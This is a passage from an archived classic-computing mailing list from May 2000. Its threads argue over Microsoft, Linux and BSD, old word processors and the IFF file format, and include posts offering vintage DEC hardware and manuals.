lot faster than W98 on the same hardware at work and much more reliable. The eDesktop2.4 (I cheated and downloaded the CD the other day because the update from 2.3 wasn't on the website at a discount yet) looks pretty quick... I do think Mandrake 7.0 seems to have just about every option and tool out for Linux on one CD. I love downloading and burning these ISO images. Cheap, quick (while at work, anyway), easy. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Mon May 8 07:42:32 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:39 2005 Subject: The Shell Game In-Reply-To: <200005080038.RAA17910@oa.ptloma.edu> from Cameron Kaiser at "May 7, 2000 05:38:39 pm" Message-ID: <200005081242.IAA11028@bg-tc-ppp826.monmouth.com> > Well, marginally related to classic computing, I put my in-progress > directory of dialup shell providers on the Net at > > http://www.armory.com/~spectre/shell/ > > I'm still acquiring providers. Let me know who you use, if any. I'm > hoping to use this as a resource for people with other computers > who still want to use them for at least terminal access. > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu > -- Hidden DOS secret: add BUGS=3DOFF to your CONFIG.SYS. ---------------------- one of the best in the NYC and NJ area is my ISP... Check http://www.monmouth.com (Monmouth Internet) still does shell on their BSDi boxes. I believe http:/www.exit109.com (Atlantic Internet) still does shell on their FreeBSD servers. -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From allisonp at world.std.com Mon May 8 08:04:13 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005080427.AAA22857@armigeron.com> Message-ID: > And I've run Win95 for a year with no problems. It wasn't until Microsoft > Office was installed on the machine did it lock up and I wasted two days > trying to reinstall Win95, from scratch, before giving up and going to Linux > so I could continue my job. Humm, suggests somthing was wrong or you were trying to use the OEM install. > Hardware didn't change. Just the addition of Microsoft Office. That pig... > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? nothing. We were properly prepared and the key users are educated. We did recive copies but they were deleted before they could be activated. We assume there are worms/virus/trogans out ther and they can hurt us so we are prepared. > Windows that precludes such from being done in other systems, other than a > lack of economic insentive and the fear of bring the wrath of Microsoft down Gee I thought that it was already being done with star office. > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding > > that the code be released only to companies who, including all their > > employees as individuals, be barred for a period of, say, ten years, from > > participating in the production of any operating system which might be > > used as a competitor to Microsoft's OS products, including the drivers, > > utilities, or ancillary programs, e.g. a browser. > > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. Yes it would eb unreasonable. Most NDA and Non competative agreements I've seen never exceeded 2 years, FYI. > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? Well I agree. the PC is generally poor hardware. Good hardware has always existed, and it was never cheap. > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is > imcompatible with Microsoft Word 98 format is imcompatible with Microsoft > Word 2000 format. Sure Microsoft MAY make a utility available for upgrading > the document but they don't make it easy and heaven forbid you find a cache > of documents seven years old in the backups that is in Word 6 format. Yes, this is a major problem and while they claim to have support for conversions they don't work well or in the case of WP->Word plain don't work. My solution was and still is Runoff, it provides what I need for test files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, RT11, RSTS, unix, linix). Allison From allisonp at world.std.com Mon May 8 08:16:40 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> Message-ID: > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. > Boy, it's a lot faster than W98 on the same hardware at work and > much more reliable. Used the standard images and ran it on 486dx66 with 20m ram. No faster than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver is the limiter as it's served not native graphics on the 486 it's noticeable. It seemed robust enough but faster... not really. I also don't care that the kernel fit on a 1.44mb disk (useful for LRP maybe) as the useful config has to have a lot more around it for a user workstation. When you reach that point it's big, like needing a 1gb disk big. > the update from 2.3 wasn't on the website at a discount yet) looks > pretty quick... I do think Mandrake 7.0 seems to have just about every > option and tool out for Linux on one CD. Therein lies the probelm with linux: Slackware, mandrake, redhat, cladara and howmany more all different? Reminds me of CPM2.2, all teh same cpm but modem programs were not always portable and media was often different. Same but, not really. Allison From edick at idcomm.com Mon May 8 08:46:29 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> Message-ID: <001501bfb8f3$d2641000$0400c0a8@winbook> ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 07, 2000 5:45 PM Subject: Re: I wrote 'Nuke Redmond' > > I can't leave this one alone either. > > > > Dick > > > > Actually, you can purchase Office2000 and WordPerfect 2000 and Lotus > Smartsuite Millenium -- the latter two under $120... Office is > considerably more retail -- unless you corporate license under discount. > > Actually grey market versions of the later are under $25 each. > > I know, I bought both to compare them with the Office used at work and > forced on me. I liked them (used SmartSuite96 at IBM for a while) and > WordPerfect is now purchased and running on my wife's Linux box. > I must be out of touch these days, since I'm not on the market for new OA software. Are you sure those "grey-market" versions of the software are not counterfeit? It's hard to tell the difference, except, perhaps, by the price. > > I'm actually a WordStar 6 kind of guy, if I'm not using FrameMaker though. > I gave up on Wordstar with v5.5. (??) which I got back in '90 or so. Back then, the practice was to dog MS as compared with the Mac. Win 3.0 was already floating around, though I didn't have it myself. I bought into Windows quite late, (late '91) though I didn't dislike it then. There were problems but mainly because the software utilities, e.g. Smartdrv, didn't work correctly in that incarnation. Though I'd been a faithful Wordstar user since '79, I liked Word for Windows v2.0 quite well. That came out about concurrently with Win3.1. > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From edick at idcomm.com Mon May 8 08:54:23 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> <39160743.B34AD135@mcmanis.com> Message-ID: <001901bfb8f4$ed263b60$0400c0a8@winbook> WP v5.1 was widely accepted as the "cat's meow" among DOS-based word processing software. WIth the release of 5.2, one could see the begining of the end, however, since Lotus and MS had both put considerably better suites out there. Since Lotus could do it and WP couldn't there was no reason to believe any foulplay on MS' part was at work. When Windows 3.1 came out I don't think MSOffice had been released yet. It was a VERY popular product, since it had Excel, Word6, Access2, and Powerpoint (the famous BS-Generator) incorporated in it. Works was not up to snuff yet, though it was commonly bundled with Windows in OEM machines. The sense I got was that WORKS was intended for home use and was donated gratis to LOTS of different school systems in an effort to entice them to give up the Mac, which was markedly easier to teach and for teachers to use. Apple even ran a program here in the Denver area that involved selling Mac's below cost to teachers and administrators. It didn't work over the long run, though I did see a number of PC's, typically 2 or 3 per school which were sitting unused except for a comm program to handle comms with the main admin building downtown. It really pointed up how uninformed teachers and administrators were about these two competing systems. Dick ----- Original Message ----- From: Chuck McManis To: Sent: Sunday, May 07, 2000 6:16 PM Subject: Re: I wrote 'Nuke Redmond' > Has anyone mentioned WordPerfect. You know the Word processor that had > over 90% of the market until Microsoft changed their OS licensing terms > such that their OEMs had to bundle either Office (or later Works) with > every copy of Windows they sold. > > --Chuck > From John.Allain at donnelley.infousa.com Mon May 8 09:03:50 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:52:39 2005 Subject: Applicon DEC PDP machine In-Reply-To: Message-ID: <000401bfb8f6$3ce96ea0$0e0301ac@dba00802.databaseamerica.com> Hi, I may have a deal/rescue going for an Applicon AGS 8xx system on the east coast. These babies are rare but I may not hold on due to the overall size of the system. If anyone out there has any want or need for the abovementioned system I may be able to transfer it to you for essentiually no cost. Note: Contains: PDP11, Tape Drive, disk drive, 3D displays. John A. From edick at idcomm.com Mon May 8 09:05:52 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' References: <200005080427.AAA22857@armigeron.com> Message-ID: <002f01bfb8f6$85864ca0$0400c0a8@winbook> There were indeed some "problems" with the first Office for '95 suite on top of the "upgrade" version of the first release of '95. These were fixed with a download, however. How the activity of a few morons who think cyber-vandalism is funny ties into this thread, I don't know, but I'd certainly vote to make a spectacle of all virus-progenitors by dipping them, slowly, and feet first, into a hot solder pot during halftime at the superbowl. I think people who send cute little pictures, and unsolicited jokes, etc, ought to be charged for their transmitted bandwidth by their ISP rather than getting a flat rate. If bandwidth continues to be wasted like that, it will eventually cost us all by the bit. People who open email from sources they don't recognize are running a risk similar to unprotected sex with unknown people. People who open attachments to such email get what they deserve. Dick ----- Original Message ----- From: Sean 'Captain Napalm' Conner To: Sent: Sunday, May 07, 2000 10:27 PM Subject: Re: I wrote 'Nuke Redmond' > > I'm replying to several messages, all by Richard Erlacher, here in one > message: > > > I'm often puzzled by the complaints about "crashes" under Win9x and NT. > > My notebook, running Win95, hasn't crashed, although it's been in almost > > constant use since early '97 when I bought it. Now, the machines into > > which I routinely stick cards that may or may not work, along with > > products that may or may not work, both hardware and software, . . . well, > > they have had other histories, but it's seldom Microsoft software that's > > to blame for that. > > And I've run Win95 for a year with no problems. It wasn't until Microsoft > Office was installed on the machine did it lock up and I wasted two days > trying to reinstall Win95, from scratch, before giving up and going to Linux > so I could continue my job. > > Hardware didn't change. Just the addition of Microsoft Office. > > > I've never bought a license for a DEC OS, but I doubt it cost under $100. > > There are Linux versions one can buy in ready-to-install form for under > > $100, but those will cost $1M, at least, at 50-cents-an-hour before > > they're working properly and that's only if you're a real *nix expert. > > What's more, NO *nix version offers the features that make the Win9x > > desirable for home computer use. There are lots of books out there for > > *nix users, but I've yet to see a "{insert vendor name here} Office for > > Dummies" book for LINUX, though I hear there is a "LINUX for Dummies" book > > out there. > > So I assume that the *only* use a home computer is used for is for office > suite software. Okay. > > Now, how much damage did the ILOVEYOU virus do? How much will it cost to > fix the damage that ILOVEYOU virus did? > > More to the point (not really using any office suite program) the major > attraction of an office suite is that the different applications can embed > files from each other into a single document, right? That you can take a > spreadsheet (or portion thereof) and embed it into a word processor > document. Am I correct in that? There's nothing inherent in the design of > Windows that precludes such from being done in other systems, other than a > lack of economic insentive and the fear of bring the wrath of Microsoft down > upon you and being crushed out of existance (aside: Cisco has as much, if > not more, control in the router industry as Microsoft in software yet aren't > nearly as hated as they make very good products and when they buy out a > company, they tend to actually use the technology they bought out. > Microsoft has a hit-or-miss reputation with software reliability and even > when they buy out a company they are equally likely to sink the technolgy as > they are to market it). > > > Many people think that lobotomizing MS would help the industry. I am not > > among them, however, because, at least for now, MS is the only > > organization capable of mustering the talent and resources to generate > > application software that pretty much functions as it should within the > > framework of this extremely complex OS. > > I doubt that. The free BSDs or Linux is a good counter example. And if > you wish to discount the operating system, there is Apache. And if you wish > to discount servers, the GIMP. While it isn't up to the functionality of > Photoshop it certainly does anything a home user would want it to do. > > Nature abhoors a vaccum and if Microsoft is gone, it will be filled in > rather quickly. Ding dong the witch is dead and all that. > > > Even if someone else could do it, which I seriously doubt, it's unlikely > > anyone can come up with an OS capable of competing against Windows, if the > > same tests are to be applied that have been used to determine MS' > > practices monopolistic or anticompetitive. > > I don't follow your logic here. Which tests are you referring to? > > Outside of marketing, there is no technical reason why a Windows-like (or > Mac-like) graphical user interface can't be built upon X Windows (the > primary graphic sub-system used on Unix workstations) and applications built > to that interface. Embedding documents into other documents isn't dependant > upon the underlying operating system---OLE, COM and DCOM are interface and > data exchange/understanding issues, not operating system dependant issues. > > > If the complete source code > > for Windows is to be mandated by the courts to be made available to anyone > > who wishes to write applications for Windows, MS is correct in demanding > > that the code be released only to companies who, including all their > > employees as individuals, be barred for a period of, say, ten years, from > > participating in the production of any operating system which might be > > used as a competitor to Microsoft's OS products, including the drivers, > > utilities, or ancillary programs, e.g. a browser. > > Why? Such draconian measures would be such that you might not get very > many companies (or programmers) willing to even consider such a deal. > > > If they're to "fix" this thing in a permanent way, then they will have to > > legislate a solution which would require that no person involved in the > > development of any major software product be permitted to communicate with > > anyone else, not his/her spouse, offspring, superiors or subordinates, > > except in permanently recorded written form for a period not less than > > five years beyond the end of the economic life of that product. I doubt > > that will happen. > > Again, why do you think this? > > > Well, we may get to see whether the courts come up with a prudent and > > reasonable solution. The obvious solution to break up MS won't help, but > > it will serve to octuple the cost of both software and hardware. It will > > set back the industry a decade as it tries to find a substitute for MS in > > a market where really only one OS and Office automation suite is going to > > be effective. If you don't see that through your haze of rage at > > Microsoft for doing something you weren't smart enough or diligent enough > > to do yourself, then perhaps you can come up with a potential successor OS > > to WIndows. Remember, though, that if MS simply closed its doors tomorrow, > > it wouldn't harm MS as much as it would harm the end user. > > Personally, I feel that the two worst things to happen to our industry > have been Unix and Microsoft. I won't go into why I think Unix is bad, but > Microsoft has definitely kept the industry back technically, if only with > entrenching the poor design of the IBM PC as a standard for nearly 20 years. > Hell, if this sets the industry back 20 years that'll be the best thing to > happen! Imagine, decent hardware! Software that actually works! Less > slavish reliance on computers! That's bad? > > Another bad aspect of Microsoft is the proliferation of file formats. > Microsoft Word 6 format is imcompatible with Microsoft Word 95 format is > imcompatible with Microsoft Word 98 format is imcompatible with Microsoft > Word 2000 format. Sure Microsoft MAY make a utility available for upgrading > the document but they don't make it easy and heaven forbid you find a cache > of documents seven years old in the backups that is in Word 6 format. > > It's not hard to create a file format that is extensible, nor forward and > backward compible. To bring this back to topic, I have extensive > documentation on IFF, initially designed and documented in 1986 for the > creation of files that can be extensible and forward/backward compatible, > such that a document created with a program now can be opened with a program > written 10 years ago and have it not crash (or at least be able to do > something with the file and not loose the extra information). > > And it certainly doesn't take one megabyte to store a single page of > information. That is just plain insane. > > > jpero@pop.cgocable.net > > > > > What I was thinking of is a untoucheable and invisible OS and for > > > managing data is data users created only. Applications and any little > > > utils, drivers and hardware all are seen as "modules". Drivers and > > > hardware go hand in hand and is therefore as hardware module set. For > > > applications and small utils, they would be software modules. > > > > That would be a WONDERFUL idea ... an OS distributed on ROM. I trust > > you'll start on that immediately. > > Again, to bring this back on topic, there have been plenty of operating > systems distributed in ROM---AmigaOS, QNX, OS-9 and the original MacOS were > all contained in ROM, were/are ROMmable and extensible. And all are older > than 10 years old. Even MS-DOS came in ROM format for some computers > (although I'm not sure if it ran out of ROM, or was copied to RAM before > running). > > -spc (Have you actually USED anything other than Microsoft products?) > > > From jfoust at threedee.com Mon May 8 09:15:25 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:39 2005 Subject: IFF file format (was "I wrote 'Nuke Redmond'") In-Reply-To: <200005080427.AAA22857@armigeron.com> References: <002c01bfb84e$32d2d120$0400c0a8@winbook> Message-ID: <4.3.0.20000508090633.0189ca40@pc> At 12:27 AM 5/8/00 -0400, Sean 'Captain Napalm' Conner wrote: > It's not hard to create a file format that is extensible, nor forward and >backward compible. To bring this back to topic, I have extensive >documentation on IFF, initially designed and documented in 1986 for the >creation of files that can be extensible and forward/backward compatible, >such that a document created with a program now can be opened with a program >written 10 years ago and have it not crash (or at least be able to do >something with the file and not loose the extra information). Microsoft does use RIFF for some types of data. This is their own flavor of IFF with Intel endian. Most Amiga apps were quite lax about the use of IFF, simply mimicking other apps and using the same poor code examples as everyone else. They handled and emitted something similar to Deluxe Paint and that's about it. I'm not aware of any popular Amiga apps that actually used the more complicated catalog and list hunks, for example. Some bastardized IFF for their own twisted purposes. The more complete and accurate use of IFF I've seen was for the 3D format of Maya, a high-end 3D program that was born only a few years ago. However, they didn't bother to document all their hunks for the public. Tag and hunk-length is a very useful scheme for any program's file format. However, it's no panacea. It can even backfire and lead to those 1 meg files fo seemingly simple data, in the case of data structures with a great many varying leaves (each with their own hunk type) and a moderate number of branches. This poor case has led some to adopt schemes with 16-bit hunks and short lengths. - John From rivie at teraglobal.com Mon May 8 10:09:39 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> References: <200005070402.AAA24938@armigeron.com> <00c601bfb7eb$3f22b520$9d9fb2d1@Smith.earthlink.net> <001301bfb84c$99c1bf60$0400c0a8@winbook> Message-ID: >All the talk about the browser market is a red herring. Internet Explorer >was never a product separate from Windows. It was a part of the OS utility >package called PLUS!. In Win98, it was integrated into the OS becauseit was >the tool for viewing the help files, among other things. Sure, but why did Microsoft switch to HTML help? I did a document as a Microsoft help file once and I still wish HTML had some of the features of the Microsoft help system (pop-up windows for instance, which I found very handy for a glossary; just click on the word for which you want a definition and a little window pops up with the definition. The HTMl version of this was an icky ActiveX applet that I never got to work right). -- Roger Ivie rivie@teraglobal.com Not speaking for TeraGlobal Communications Corporation From rivie at teraglobal.com Mon May 8 10:38:58 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:52:39 2005 Subject: Runoff on other platforms Re: I wrote 'Nuke Redmond' In-Reply-To: References: Message-ID: >My solution was and still is Runoff, it provides what I need for test >files and it runs on everything I have (NS* DOS, CP/M-80, DOS, WIN, VMS, >RT11, RSTS, unix, linix). Could you point me at CP/M and DOS Runoff, please? Any serious documents I do are done initially in RUNOFF and then converted to whatever they need to be delivered in. I've taken to using HTML for non-serious documents (primarily because I haven't found a decent CP/M emulator for MacOS, which is my primary desktop at the moment, so I can't run WordStar; but I have found a vi clone and a Mac version of Lynx. I can and do use WordStar under Win9x, but Microsoft decided to stick ~s in the short file name generated for long filenames, and WordStar 4 won't let me open files with a ~ in their names (haven't seriously looked for whatever table it's using to decide legal filename characters yet)), but I still use RUNOFF when I want anything decent. -- Roger Ivie TeraGlobal Communications Corporation 1750 North Research Park Way North Logan, UT 84341 Phone: (435)787-0555 Fax: (435)787-0516 From rivie at teraglobal.com Mon May 8 10:40:19 2000 From: rivie at teraglobal.com (Roger Ivie) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: References: Message-ID: >Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? > >Reminds me of CPM2.2, all teh same cpm but modem programs were not always >portable and media was often different. Same but, not really. Hmmmmm. Monopoly bad, lack of monopoly not good? -- Roger Ivie rivie@teraglobal.com Not speaking for TeraGlobal Communications Corporation From kla at helios.augustana.edu Mon May 8 11:42:50 2000 From: kla at helios.augustana.edu (Kevin L. Anderson) Date: Sun Feb 27 18:52:39 2005 Subject: Goodbye, for now.... Message-ID: Classic Computer folks: I guess I cannot leave lists without saying goodbye, just like it would be improper to leave a party without thanking the host. So here is my goodbye (for now at least, because I cannot guarantee I won't be back :-). Much as I still lust after a functional PDP-8 system, my life is just too hectic right now (with two upcoming moves -- to Dubuque, Iowa in June and then to Bismarck, North Dakota in July -- and related unknown job searches...) to actively seek such a system. At the same time, I am envious of you folks for both having such classic systems (whether it be luck or by crook :-). But somehow my mind is too cluttered to keep straight all the permutations and modifications needed to keep the hardware and software booting and running. (I'm having a hard enough time keeping my older radios and my amateur radio equipment going at the moment...) Yet I have learned a bunch from you guys in the short time (half year or so) that I have followed this list. And much as I have opinions as well about Microsoft, viruses, prefered OS, etc., somehow it is not the same discussing them over a mailing list. I'd match rather do it face-to-face, while preferably seated in a pleasant pub with a good pint o' ale or red lager in hand . So, see you around the next bend....take care. Cheers/73. Kevin Anderson (ham radio folks: listen for me on 10-40 meters -- KB9IUA/mobile, soon to be K9IUA I hope through the FCC buy-a-call program -- both CW and SSB. I'll be handing out ND counties for the county hunters.) * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Kevin L. Anderson Ph.D., Geography Department, Augustana College Rock Island, Illinois 61201-2296, USA phone: (309) 794-7325 e-mail: kla@helios.augustana.edu -or- gganderson@augustana.edu * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Opinions expressed here are my own and do not represent the administration of Augustana College. From pechter at pechter.dyndns.org Mon May 8 12:17:53 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: from "allisonp@world.std.com" at "May 8, 2000 09:16:40 am" Message-ID: <200005081717.NAA11404@bg-tc-ppp826.monmouth.com> > > If Caldera 2.3 isn't faster than W95 it's got to be misconfigured. > > Boy, it's a lot faster than W98 on the same hardware at work and > > much more reliable. > > Used the standard images and ran it on 486dx66 with 20m ram. No faster > than W95 (tuned) and about the same as WinNT4.0/workstation. The Xserver > is the limiter as it's served not native graphics on the 486 it's > noticeable. It seemed robust enough but faster... not really. How much swap? I ran on an AMD 5x86/133 with 32mb and it seemed to scream compared with W95A. > > I also don't care that the kernel fit on a 1.44mb disk (useful for LRP > maybe) as the useful config has to have a lot more around it for a user > workstation. When you reach that point it's big, like needing a 1gb disk > big. I've had linux working pretty well on an old 340mb IDE -- but that's pretty much my personal minimum these days. I can still get almost everything in an 850. I slipped a minimum development Linux/X11 in about 540mb. This included the development tools and libraries and some X for browsing and stuff. Amazing how large some of the Emacs stuff is 8-)... I'm a vi type these days (I'd prefer EDT or WordStar). > > > the update from 2.3 wasn't on the website at a discount yet) looks > > pretty quick... I do think Mandrake 7.0 seems to have just about every > > option and tool out for Linux on one CD. > > Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? Linux isn't really an OS release. That's why I prefer *BSD which are OS releases rather than this kernel with that addon toolset with those other apps. I find that it's not too hard to mix and match most apps with any Linux version. One DUMB setup script file edit makes WordPerfect office play nice with Caldera's 2.x. > > Reminds me of CPM2.2, all teh same cpm but modem programs were not always > portable and media was often different. Same but, not really. > > Allison > Yup... of course the IOBYTE version of Kermit worked with the VT180 in S-L-O-W fashion... the customized non-generic version was much nicer. Bill > > > -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Hans.Franke at mch20.sbs.de Mon May 8 14:36:28 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:39 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb780$1aac0040$5d01a8c0@p2350> Message-ID: <200005081737.e48HbJ906547@mail2.siemens.de> From: "emanuel stiebler" > From: John Wilson > > ... but for many of the rest of us, M$ > > products are designed to solve problems we don't have, and totally fail > > to address the problems we *do* have. It's designed for the drooling > > masses *only*, it's absolutely not good for normal utility use by nerds. > > And even where there's overlap, the design decisions tend to be poor and > > the implementation even worse. > BIG LOUD APPLAUSE ! Just one thing to add: I run 98 on my latest machine (K7 500), and it's only purpose is to offer a gameing platform - and that's exactly what I get. A Computer to run 99% of all game stuff available. Of course I apreciate all efforts to run or convert some stuff to other OSes (Linux, etc. pp.), just for me as a user of this particular machine Win98 is the only solution woth to be considered. Ther's a whole lot of shit in there, but as long as it does what I want it's acceptable. Servus Hans -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From wilson at dbit.dbit.com Mon May 8 12:55:59 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:39 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we'veseen this before In-Reply-To: ; from allisonp@world.std.com on Mon, May 08, 2000 at 09:16:40AM -0400 References: <200005081240.IAA10988@bg-tc-ppp792.monmouth.com> Message-ID: <20000508135559.B6127@dbit.dbit.com> On Mon, May 08, 2000 at 09:16:40AM -0400, allisonp@world.std.com wrote: > I also don't care that the kernel fit on a 1.44mb disk (useful for LRP > maybe) as the useful config has to have a lot more around it for a user > workstation. When you reach that point it's big, like needing a 1gb disk > big. Boy things have changed. When I first got into Linux, I ran it on a 40 MB MFM drive and had lots of space to spare. Of course that was no TCP/IP and certainly no GUI crap, and it didn't even have vi. But it might be a fun exercise to put together a similarly minimal config from the latest sources, it would probably still fit in a couple of cylinders of a modern disk drive. Certainly when Alpha Linux started out, a lot of people were running it from Zip drives on their Nonames. > Therein lies the probelm with linux: > > Slackware, mandrake, redhat, cladara and howmany more all different? Those are just different distributions, they all generally use the standard kernels, it's mainly the layered crap and startup scripts that are different and most of the differences are cosmetic. It's not at all hard to build executables that will work fine on any of them, just don't hard-code all your path names, but the system calls will work fine. John Wilson D Bit From xds_sigma7 at hotmail.com Mon May 8 12:57:43 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:39 2005 Subject: Lots o' stuff that I don't need, it's free too Message-ID: <20000508175743.67682.qmail@hotmail.com> Hi all, In an effort to make room for other manuals, etc. I have the following extras/stuff I don't want available for the taking. Trades would be nice but don't feel obligated.. ;p Clinch/Peters/Small/Summerfield "Tailoring RT-11" Data General Corp. Nova Minicomputers Instruction Reference Card (x2) Dataram Corp. P03 LSI-11 Parity Controller Product Specification DEC Installing and Using the VT320 DEC playing cards, still in the plasic "Digital Know Networks!" DEC PDP-11 Architecture Handbook, 1983-1984 DEC PDP-11 Microcomputer Interfaces Handbook 1983-1984 DEC PDP-11 Programming Card (the July 1975 one) DEC Remote System Manager VMS User Reference Card DEC Terminals + Printers Handbook, 1983-1984 DEC US Systems Price List Oct. 1, 1988 DEC US Systems Price List July 2, 1990 DEC VAX Technical Summary (the original that's not a handbook and not from DECbooks, copyrighted 1982) Gill, Arthur "Machine and Assembly Language Programming of the PDP-11" Grisham, Ralph "Assembly Language Programming for the CDC 6000 Series" Hewlett-Packard HP-16C Owner's Handbook Hewlett-Packard HP700/92 + HP700/94 User's Manual (2 copies) Hewlett-Packard HP7475A Graphics Plotter Interfacing + Programming Manual Hewlett-Packard HP7475A Graphics Plotter Operation and Interconnection Manual IBM 8130 and 8140 Processors Operator's Guide MDB MLSI-DLV11 Instruction Manual Wang 2200 BASIC-2 Language Reference Manual (kinda beaten but complete) VMS 4.4 Volumes 1B, 5A, 7B, 8B, 8D, and 10A, complete except for the I/O reference, part I. Also VMS 5.5 on TK50, with about 8 or 9 VMS manuals And I dunno if anyone besides me has any interest in old sales materials, but I have a bunch of extra DEC/Emulex/Wyse sales info if anyone is interested let me know and I'll get more details. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From Hans.Franke at mch20.sbs.de Mon May 8 14:59:35 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:39 2005 Subject: What a weekend! In-Reply-To: <200005052043.NAA20226@shell1.aracnet.com> References: <20000505155432.B30766@dbit.dbit.com> from "John Wilson" at May 05, 2000 03:54:32 PM Message-ID: <200005081800.e48I0Q912874@mail2.siemens.de> > > The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny > > capsule of some kind (Mercury or Gemini?) but I never understood whether > > it was the real thing, or a mock-up. They had/have a lunar lander too but > > that's definitely fake. > Probably a fake, OMSI had/has a capsule that I'm fairly sure is fake. Years > ago it was a really cool exhibit. Last I saw though it was pretty trashed > out and I believe they were letting people climb in it. Of course OMSI has > really gone down hill in the last several years, and are now nothing more > than a childrens museum. HNF had a Sojus for display some weeks ago (The same Fujitsu Siemens had at CBit Hannover). Quite interesting, especialy since these are reused (AFAIK), unlike US stuff (except the Shuttle of course). FSC did display the capsule since a Siemens Computer was used on the last flight of this spaceship... Gruss H. -- VCF Europa am 29./30. April 2000 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From wilson at dbit.dbit.com Mon May 8 13:05:21 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:39 2005 Subject: Ford's '60s computer? In-Reply-To: <3916695B.1BDEB146@home.com>; from mranalog@home.com on Mon, May 08, 2000 at 12:14:35AM -0700 References: <3916695B.1BDEB146@home.com> Message-ID: <20000508140521.C6127@dbit.dbit.com> On Mon, May 08, 2000 at 12:14:35AM -0700, Doug Coward wrote: > It sounds like you're asking what computer Caroll Shelby used? > As I understand it Ford built the cars then they were modified > at Shelby's company, Shelby American, in L.A. You might try asking > the Los Angeles Shelby American Automobile Club,http://www.lasaac.org/ > or ask at Carroll Shelby official web page,http://www.carrollshelby.com/ Does Shelby still have a company (for cars that is, not chili mix)? I cold-called the company about 10 years ago (when we were both building turbo Chrysler L-cars) with some questions about intercoolers and was immediately connected to a friendly engineer who was happy to shoot the breeze. Very nice folks, I'm sure they'd be just as happy to talk about their old CAD systems, assuming they haven't all been laid off by now... John Wilson D Bit From ard at p850ug1.demon.co.uk Mon May 8 12:45:42 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:39 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000502044006.00b9cd70@mail.city-net.com> from "Bill von Hagen" at May 2, 0 04:53:40 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 413 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000508/cc308735/attachment-0001.ksh From rivie at teraglobal.com Mon May 8 13:25:44 2000 From: rivie at teraglobal.com (Roger Ivie) Date: 